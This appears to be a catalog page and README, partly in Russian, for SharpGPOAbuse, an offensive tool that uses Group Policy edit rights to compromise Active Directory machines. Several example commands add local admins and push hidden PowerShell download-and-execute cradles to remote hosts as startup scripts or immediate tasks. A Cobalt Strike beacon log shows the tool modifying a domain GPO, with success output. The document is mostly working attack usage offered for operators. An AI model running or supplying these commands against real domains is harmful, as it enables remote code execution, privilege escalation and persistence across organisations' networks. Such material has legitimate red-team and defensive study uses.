Приложение на C#, использующее права редактирования объекта групповой политики (GPO) для компрометации управляемых им объектов.
C#-инструмент для атак на Kerberos в среде Active Directory: AS-REP Roasting, Kerberoasting, Pass-the-Ticket, Overpass-the-Hash, Golden/Silver Ticket, …
Инструмент для злоупотребления сертификатами и службами сертификации Active Directory (AD CS).
Инструмент для локального повышения привилегий в доменных средах Windows при отсутствии обязательной подписи LDAP.
Коллектор данных для BloodHound: собирает информацию об Active Directory — пользователи, группы, компьютеры, сессии, ACL, GPO, …
git clone https://github.com/ReversecLabs/SharpGPOAbuse.git # Visual Studio: открыть SharpGPOAbuse.sln -> Build (восстановить NuGet-пакеты) # или командная строка: dotnet build SharpGPOAbuse.csproj # Готовый EXE доступен в GitHub Releases
SharpGPOAbuse — это приложение на .NET, написанное на C#, которое может использоваться для использования прав пользователя на редактирование объекта групповой политики (GPO) с целью компрометации объектов, управляемых этой GPO.
Подробнее можно узнать в следующем блоге: ...
Убедитесь, что необходимые пакеты NuGet установлены правильно, и просто соберите проект в Visual Studio.
Usage:
SharpGPOAbuse.exe <AttackType> <AttackOptions>
В настоящее время SharpGPOAbuse поддерживает следующие опции:
| Опция | Описание |
|---|---|
| ... | Добавить права пользователю |
| --AddLocalAdmin | Добавить пользователя в группу локальных администраторов |
| ... | Добавить новый скрипт запуска компьютера |
| ... | Настроить скрипт входа пользователя |
| ... | Настроить немедленную задачу компьютера |
| ... | Добавить немедленную задачу пользователю |
Options required to add new user rights:
--UserRights
Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
Set the account to add the new rights.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
Options required to add a new local admin:
--UserAccount
Set the name of the account to be added in local admins.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
Options required to add a new user or computer startup script:
--ScriptName
Set the name of the new startup script.
--ScriptContents
Set the contents of the new startup script.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Если вы хотите запускать вредоносный скрипт только на определённом пользователе или компьютере, управляемом уязвимой GPO, вы можете добавить условное выражение в вредоносный скрипт:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Options required to add a new computer or user immediate task:
--TaskName
Set the name of the new computer task.
--Author
Set the author of the new task (use a DA account).
--Command
Command to execute.
--Arguments
Arguments passed to the command.
--GPOName
The name of the vulnerable GPO.
Additional User Task Options:
--FilterEnabled
Enable Target Filtering for user immediate tasks.
--TargetUsername
The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
The targeted user's SID.
Additional Computer Task Options:
--FilterEnabled
Enable Target Filtering for computer immediate tasks.
--TargetDnsName
The DNS name of the computer to target. The malicious task will run only on the specified host.
Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Если вы хотите запускать вредоносную задачу только на определённом пользователе или компьютере, управляемом уязвимой GPO, вы можете использовать следующее:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
| Опция | Описание |
|---|---|
| --DomainController | Установить целевой контроллер домена |
| --Domain | Установить целевой домен |
| --Force | Перезаписать существующие файлы, если требуется |
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!